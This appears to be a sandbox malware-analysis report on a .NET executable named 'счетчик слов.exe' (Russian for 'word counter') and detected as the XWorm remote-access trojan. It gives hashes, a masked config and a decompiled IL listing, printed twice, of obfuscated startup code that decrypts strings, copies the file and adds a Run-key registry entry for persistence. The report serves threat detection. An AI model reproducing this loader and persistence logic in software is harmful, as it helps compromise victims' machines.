Malicious
Malicious

PE Executable
MD5: 3395ab594ad8d87e396e4c92ee781bd1
Size: 182.27 KB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Size
182.27 KB · 182,272 B
First seen
2025-08-22 02:01 · one year ago
Last seen
2025-08-22 02:01 · one year ago
Last analysis
2025-08-22 02:01 · one year ago
Hashes
MD5 3395ab594ad8d87e396e4c92ee781bd1 Sha1 db9e3a9fb772c0d329504e06980864f61c1fd3c2 Sha256 a0ba650440562500da5c5d20cd785c6e4c63753d6c22376668ff44d647815d7c Sha384 e738401d571cfe8143e193647d777ed92bdf819a77cddc1595be33fc2cdb4694f6405ad5a39ebc8642f49493730f17d8 Sha512 627eead033e85ac57b31091d323b84c86c190f2c5e2752e6ee45b992cf579f5fada7f736b50a6d837e874bf042ae9c89270f69ade2a3e189246e5a5cb954566d SSDeep 3072:u4MrIIG774UovI9bVSiRS1KLOYQsm04NpVq8BxFRzaqF+o2GQJ7/JzqVfGvt:u4MrugI9bVtx7gVqwlL TLSH 0C04F7698FEBB202C55659747D7363818A3D1F75A4CF35168EE33FAE4BB3C9510220A2
Detection
PeID
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual Studio .NET
Symbol obfuscation
Very high
1 malicious · 11 files
EXE3395ab594ad8d87e396e4c92ee781bd1XWorm
Structure
BINResources
BINRT_ICON
BINID:0001
IMGID:0
IMGID:0-preview.png
BINID:0002
BINID:0
BINID:0003
BINID:0
BINID:0004
BINID:0
BINID:0005
BINID:0
BINID:0006
BINID:0
BINRT_GROUP_CURSOR4
BINID:0001
BINID:0
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
Config. Field Value
Mutex sCWLnhuhuhuhuhuhuhu
Hosts least-huhuhuhuhuhuhu
Port 1huhuhuhu
KEY <12huhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Thuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
счетчик слов.exe
Full Name
счетчик слов.exe
EntryPoint
System.Void Stub.5ldV0p9r1N2bKfFbka::7Vcb6zuELSFGfVaxML()
Scope Name
счетчик слов.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
счетчик слов
Assembly Version
3.0.21.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
364
Main Method
System.Void Stub.5ldV0p9r1N2bKfFbka::7Vcb6zuELSFGfVaxML()
Main IL Instruction Count
143
Main IL 
ldsfld System.Int32 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::9ba3y0sbDLLHy7iNIWOOFdd45IxTfGjoycd0yAMK9TJi3IVvtRwLZAYPLU6ZkRv70dn7cOIcGoFa
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::l1yDjIUCCy7nCxEalrJtD2Ts93eY8ycCqwafZVYOY9RT2RBS6gK6FxRMWTcE4xeEZdVYYtwMYyOJ
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::l1yDjIUCCy7nCxEalrJtD2Ts93eY8ycCqwafZVYOY9RT2RBS6gK6FxRMWTcE4xeEZdVYYtwMYyOJ
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2LJS7j5fzjsT7eKYd382InbtF2Wr4WlumNjM2CTU0plEbCW82o4MTrf2j2zYfN98iIQVfRlQxxHn
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2LJS7j5fzjsT7eKYd382InbtF2Wr4WlumNjM2CTU0plEbCW82o4MTrf2j2zYfN98iIQVfRlQxxHn
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::vXk405Az0in0ZQ7fFKI4Kf9u3gznEBm5Ci1lLWxQDaQUZIH2CAWRokh9fgYifh5vI4F7bfKhqdQy
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::vXk405Az0in0ZQ7fFKI4Kf9u3gznEBm5Ci1lLWxQDaQUZIH2CAWRokh9fgYifh5vI4F7bfKhqdQy
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::tlRl6NEtn5iZLV9kiZ9HsGnnpO7xQoGh8G2sEjJbRj9wmePFdOlUwvQ9l1uAgDDgmfvOjwx4Hpc4
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::tlRl6NEtn5iZLV9kiZ9HsGnnpO7xQoGh8G2sEjJbRj9wmePFdOlUwvQ9l1uAgDDgmfvOjwx4Hpc4
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::pRHQFFZgJ0ANBqnNOyVIN0pVLedGb81SiSolE6ywQRwd5NhFGNdbqeTcCMTI9cxLlQsvNHq558TC
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::pRHQFFZgJ0ANBqnNOyVIN0pVLedGb81SiSolE6ywQRwd5NhFGNdbqeTcCMTI9cxLlQsvNHq558TC
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::lbfdCzgs42MaGqR8W2k3EW5j9QAWw7jTvnn6LZ69NJw1EZ2SKSC7bu21RaiI7R4E7FPsz8uNGz2g
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::lbfdCzgs42MaGqR8W2k3EW5j9QAWw7jTvnn6LZ69NJw1EZ2SKSC7bu21RaiI7R4E7FPsz8uNGz2g
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::Teaf6UENLxMxnyBNOQ5ehwSKpnMAiQW8GRMnmUlTLKbxM01F2Fzm9u8Ol1SpwfJdlC8EIXmVAvxy
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::Teaf6UENLxMxnyBNOQ5ehwSKpnMAiQW8GRMnmUlTLKbxM01F2Fzm9u8Ol1SpwfJdlC8EIXmVAvxy
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2IfNnaOiy69kaToza9o4EU4VDjDGVnPDHp5D8BSJjhFWJ8yobEz5QpTOrOggV1m0tUWdLrFa13wA
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2IfNnaOiy69kaToza9o4EU4VDjDGVnPDHp5D8BSJjhFWJ8yobEz5QpTOrOggV1m0tUWdLrFa13wA
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::nm13lybIPkbEIXZhEu
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::nm13lybIPkbEIXZhEu
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::ZbRjFw2X3mLWwDUlCr
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::ZbRjFw2X3mLWwDUlCr
leave.s IL_00F3: call System.Boolean Stub.hBagzG0wV5mIXErDhu::MI5WoCLuPmjjQkDaBs()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00F3: call System.Boolean Stub.hBagzG0wV5mIXErDhu::MI5WoCLuPmjjQkDaBs()
call System.Boolean Stub.hBagzG0wV5mIXErDhu::MI5WoCLuPmjjQkDaBs()
brtrue.s IL_0100: call System.Void Stub.5ldV0p9r1N2bKfFbka::kB7c0uPi3Wo2PmxS0i()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.5ldV0p9r1N2bKfFbka::kB7c0uPi3Wo2PmxS0i()
leave.s IL_0116: call System.Void Stub.5ldV0p9r1N2bKfFbka::naQP7B6lqRs3QDz8Ju()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0116: call System.Void Stub.5ldV0p9r1N2bKfFbka::naQP7B6lqRs3QDz8Ju()
call System.Void Stub.5ldV0p9r1N2bKfFbka::naQP7B6lqRs3QDz8Ju()
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::Teaf6UENLxMxnyBNOQ5ehwSKpnMAiQW8GRMnmUlTLKbxM01F2Fzm9u8Ol1SpwfJdlC8EIXmVAvxy
ldstr \
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2IfNnaOiy69kaToza9o4EU4VDjDGVnPDHp5D8BSJjhFWJ8yobEz5QpTOrOggV1m0tUWdLrFa13wA
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_5
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_015D: ldloc.0
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0174: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.hBagzG0wV5mIXErDhu::6RslnJEf76aZJnWoJj
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_019F: call My.IAnW5j5VFLw2qzrRHp7NAPUnvgMT5HWMRqX4l63s1eQhAAlAr0e0BsGfex5lJgyspLAEFM7ZLeJr My.aDP48J6H8XrYvp7LrQMgiP03eCQl6kNLIwhRxnMVHeTGEmNxcxixITvrKDAsixTcE1vPrGIC4vDU::2TQOb37n1XG0DvaLPynonFuOHxg7QtzQThin50QhpUaIU1TanRthKqaMH4q0qOTTaz6egHcoPml9()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_019F: call My.IAnW5j5VFLw2qzrRHp7NAPUnvgMT5HWMRqX4l63s1eQhAAlAr0e0BsGfex5lJgyspLAEFM7ZLeJr My.aDP48J6H8XrYvp7LrQMgiP03eCQl6kNLIwhRxnMVHeTGEmNxcxixITvrKDAsixTcE1vPrGIC4vDU::2TQOb37n1XG0DvaLPynonFuOHxg7QtzQThin50QhpUaIU1TanRthKqaMH4q0qOTTaz6egHcoPml9()
call My.IAnW5j5VFLw2qzrRHp7NAPUnvgMT5HWMRqX4l63s1eQhAAlAr0e0BsGfex5lJgyspLAEFM7ZLeJr My.aDP48J6H8XrYvp7LrQMgiP03eCQl6kNLIwhRxnMVHeTGEmNxcxixITvrKDAsixTcE1vPrGIC4vDU::2TQOb37n1XG0DvaLPynonFuOHxg7QtzQThin50QhpUaIU1TanRthKqaMH4q0qOTTaz6egHcoPml9()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2IfNnaOiy69kaToza9o4EU4VDjDGVnPDHp5D8BSJjhFWJ8yobEz5QpTOrOggV1m0tUWdLrFa13wA
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_01DA: call System.Void Stub.AMcuGI3rOvHQ3Exh0M::VTksThCewUdKxEc9d7()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_01DA: call System.Void Stub.AMcuGI3rOvHQ3Exh0M::VTksThCewUdKxEc9d7()
call System.Void Stub.AMcuGI3rOvHQ3Exh0M::VTksThCewUdKxEc9d7()
call System.Void Stub.hBagzG0wV5mIXErDhu::EQAdLBLnv2vzlQdY3L()
call System.String Stub.NtGxU1XFfqSZZ6EfDU::oUPy2cZVHblOUsNsmt()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01F5: call System.Void Stub.5ldV0p9r1N2bKfFbka::b8n9U9RbnrXkzA9dZv()
call System.Void Stub.AC11IsYTIPKiKaLCKI::Ip9Ym1W3nFQkj4BXz4()
call System.Void Stub.5ldV0p9r1N2bKfFbka::b8n9U9RbnrXkzA9dZv()
ldnull <null>
ldftn System.Void Stub.5ldV0p9r1N2bKfFbka::Bw5X6x3aCOdOxQJEcV()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.5ldV0p9r1N2bKfFbka::YkFMCaC7TmKr9lf9yt()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
счетчик слов.exe
Full Name
счетчик слов.exe
EntryPoint
System.Void Stub.5ldV0p9r1N2bKfFbka::7Vcb6zuELSFGfVaxML()
Scope Name
счетчик слов.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
счетчик слов
Assembly Version
3.0.21.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
364
Main Method
System.Void Stub.5ldV0p9r1N2bKfFbka::7Vcb6zuELSFGfVaxML()
Main IL Instruction Count
143
Main IL 
ldsfld System.Int32 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::9ba3y0sbDLLHy7iNIWOOFdd45IxTfGjoycd0yAMK9TJi3IVvtRwLZAYPLU6ZkRv70dn7cOIcGoFa
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::l1yDjIUCCy7nCxEalrJtD2Ts93eY8ycCqwafZVYOY9RT2RBS6gK6FxRMWTcE4xeEZdVYYtwMYyOJ
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::l1yDjIUCCy7nCxEalrJtD2Ts93eY8ycCqwafZVYOY9RT2RBS6gK6FxRMWTcE4xeEZdVYYtwMYyOJ
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2LJS7j5fzjsT7eKYd382InbtF2Wr4WlumNjM2CTU0plEbCW82o4MTrf2j2zYfN98iIQVfRlQxxHn
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2LJS7j5fzjsT7eKYd382InbtF2Wr4WlumNjM2CTU0plEbCW82o4MTrf2j2zYfN98iIQVfRlQxxHn
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::vXk405Az0in0ZQ7fFKI4Kf9u3gznEBm5Ci1lLWxQDaQUZIH2CAWRokh9fgYifh5vI4F7bfKhqdQy
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::vXk405Az0in0ZQ7fFKI4Kf9u3gznEBm5Ci1lLWxQDaQUZIH2CAWRokh9fgYifh5vI4F7bfKhqdQy
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::tlRl6NEtn5iZLV9kiZ9HsGnnpO7xQoGh8G2sEjJbRj9wmePFdOlUwvQ9l1uAgDDgmfvOjwx4Hpc4
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::tlRl6NEtn5iZLV9kiZ9HsGnnpO7xQoGh8G2sEjJbRj9wmePFdOlUwvQ9l1uAgDDgmfvOjwx4Hpc4
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::pRHQFFZgJ0ANBqnNOyVIN0pVLedGb81SiSolE6ywQRwd5NhFGNdbqeTcCMTI9cxLlQsvNHq558TC
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::pRHQFFZgJ0ANBqnNOyVIN0pVLedGb81SiSolE6ywQRwd5NhFGNdbqeTcCMTI9cxLlQsvNHq558TC
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::lbfdCzgs42MaGqR8W2k3EW5j9QAWw7jTvnn6LZ69NJw1EZ2SKSC7bu21RaiI7R4E7FPsz8uNGz2g
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::lbfdCzgs42MaGqR8W2k3EW5j9QAWw7jTvnn6LZ69NJw1EZ2SKSC7bu21RaiI7R4E7FPsz8uNGz2g
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::Teaf6UENLxMxnyBNOQ5ehwSKpnMAiQW8GRMnmUlTLKbxM01F2Fzm9u8Ol1SpwfJdlC8EIXmVAvxy
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::Teaf6UENLxMxnyBNOQ5ehwSKpnMAiQW8GRMnmUlTLKbxM01F2Fzm9u8Ol1SpwfJdlC8EIXmVAvxy
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2IfNnaOiy69kaToza9o4EU4VDjDGVnPDHp5D8BSJjhFWJ8yobEz5QpTOrOggV1m0tUWdLrFa13wA
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2IfNnaOiy69kaToza9o4EU4VDjDGVnPDHp5D8BSJjhFWJ8yobEz5QpTOrOggV1m0tUWdLrFa13wA
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::nm13lybIPkbEIXZhEu
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::nm13lybIPkbEIXZhEu
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::ZbRjFw2X3mLWwDUlCr
call System.Object Stub.jRkAdLqKrTwQMCfhaV::OM2xhokWkw6prqb2Ca(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::ZbRjFw2X3mLWwDUlCr
leave.s IL_00F3: call System.Boolean Stub.hBagzG0wV5mIXErDhu::MI5WoCLuPmjjQkDaBs()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00F3: call System.Boolean Stub.hBagzG0wV5mIXErDhu::MI5WoCLuPmjjQkDaBs()
call System.Boolean Stub.hBagzG0wV5mIXErDhu::MI5WoCLuPmjjQkDaBs()
brtrue.s IL_0100: call System.Void Stub.5ldV0p9r1N2bKfFbka::kB7c0uPi3Wo2PmxS0i()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.5ldV0p9r1N2bKfFbka::kB7c0uPi3Wo2PmxS0i()
leave.s IL_0116: call System.Void Stub.5ldV0p9r1N2bKfFbka::naQP7B6lqRs3QDz8Ju()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0116: call System.Void Stub.5ldV0p9r1N2bKfFbka::naQP7B6lqRs3QDz8Ju()
call System.Void Stub.5ldV0p9r1N2bKfFbka::naQP7B6lqRs3QDz8Ju()
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::Teaf6UENLxMxnyBNOQ5ehwSKpnMAiQW8GRMnmUlTLKbxM01F2Fzm9u8Ol1SpwfJdlC8EIXmVAvxy
ldstr \
ldsfld System.String 2q8Rw1t6305nCPVAGpHWlxEX9dnZMBQHsLNCV0UxZ2t8gmhi93ahw1KQc0atolAqU8F7cKya02T2::2IfNnaOiy69kaToza9o4EU4VDjDGVnPDHp5D8BSJjhFWJ8yobEz5QpTOrOggV1m0tUWdLrFa13wA
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_5
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_015D: ldloc.0
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0174: ldc.i4 1000
ldloc.0 <null>
